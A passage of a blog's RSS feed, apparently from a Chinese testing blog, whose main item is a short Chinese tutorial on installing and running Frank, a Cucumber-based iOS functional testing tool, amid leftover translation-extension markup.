background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421666.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:22 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421666.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>iOS功能测试工具 Frank</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421667.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:22:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421667.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421667.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421667.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421667.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421667.html</trackback:ping><description><![CDATA[<span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">　　</span><a target="_self" style="word-break: break-all; color: #202859; line-height: normal; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Frank</strong></u></a><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">也是一款深受开发者喜爱的</span><a target="_self" style="word-break: break-all; color: #202859; line-height: normal; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><u style="word-break: break-all;"><strong style="word-break: break-all;">iOS</strong></u></a><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">应用</span><a target="_self" style="word-break: break-all; color: #202859; line-height: normal; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">框架，该框架可以模拟用户操作对应用程序进行</span><a target="_self" style="word-break: break-all; color: #202859; line-height: normal; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><u style="word-break: break-all;"><strong style="word-break: break-all;">黑盒测试</strong></u></a><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">，并使用Cucumber作为自然语言来编写</span><a target="_self" style="word-break: break-all; color: #202859; line-height: normal; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试用例</strong></u></a><span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 21.6000003814697px; background-color: #ffffff;">。此外，Frank还会对应用测试操作进行记录，以帮助开发者进行测试回顾。</span><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=50129" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171451211cQbr.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　<strong style="word-break: break-all;">一、基本介绍</strong></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　Frank是ios开发环境下一款实现自动测试的工具。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　Xcode环境下开发完成后，通过Frank实现结构化的测试用例，其底层语言为<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Ruby</strong></u></a>。作为一款开源的iOS测试工具，在国外已经有广泛的应用。但是国内相关资料却比较少。其最大的优点是允许我们用熟悉的自然语言实现实际的操作逻辑。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　一般而言，测试文件由一个.feature文件和一个.rb文件组成。.feature文件包含的是测试操作的自然语言描述部分，内部可以包含多个测试用例，以标签（@tagname）的形式唯一标识，每个用例的首行必须有Scenario: some description；.rb文件则是ruby实现逻辑，通过正则表达式匹配.feature文件中的每一句自然语言，然后执行相应的逻辑操作，最终实现自动测试的目的。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　<strong style="word-break: break-all;">　二、安装</strong></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　1. &nbsp; &nbsp; &nbsp; Terminal 输入sudo gem install frank-cucumber,下载并安装Frank</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　2. &nbsp; &nbsp; &nbsp; Terminal 进入工程所在路径，工程根目录</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　3. &nbsp; &nbsp; &nbsp; 输入：frank-skeleton，会在工程根目录新建Frank文件夹</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　4. &nbsp; &nbsp; &nbsp; 返回Xcode界面，右键Targets下的APP，选择复制，Duplicate only</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　5. &nbsp; &nbsp; &nbsp; 双击APPname copy，更改副本名，例如 Appname Frankified</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　6. &nbsp; &nbsp; &nbsp; 右击APP，Add Files to Appname&#8230;&#8230;</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　7. &nbsp; &nbsp; &nbsp; 勾选副本，其余取消选定。选择新建的Frank文件夹，Add.</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　8. &nbsp; &nbsp; &nbsp; 选择APP，中间部分Build Phases选项卡，Link Binary With Libraries&#224;CFNetwork.framework，Add.</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　9. &nbsp; &nbsp; &nbsp; 依旧中间部分，选择Build Settings选项卡，Other Linker Flags，双击，添加&#8220;-all_load&#8221;和&#8220;ObjC&#8221;</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　10. &nbsp; 左上角，Scheme Selector，在RUN和STOP按钮的右边，选择Appname copy-IPHONE</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　11. &nbsp; 浏览器中打开http://localhost:37265，可以在浏览器中看到植入Frank的应用</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　我在添加了两个flag之后老是报错，尝试了N种方法之后索性全部删掉，结果就可以了，无语</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><strong style="word-break: break-all;">　　三、基本步骤</strong></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　1. &nbsp; &nbsp; &nbsp; terminal 切换到Frank文件夹所在目录</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　2. &nbsp; &nbsp; &nbsp; frank launch, 打开simulator，开始运行(默认是用IPHONE simulator,要用IPAD simulator时，需要如下命令行，添加参数：frank launch --idiom ipad)</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　3. &nbsp; &nbsp; &nbsp; cucumber Frank/features/my_first.feature --tags @tagname （注意tags前面两个&#8216;-&#8217;）PS:如果没有tag则自动运行文件中所有case</div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421667.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:22 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421667.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>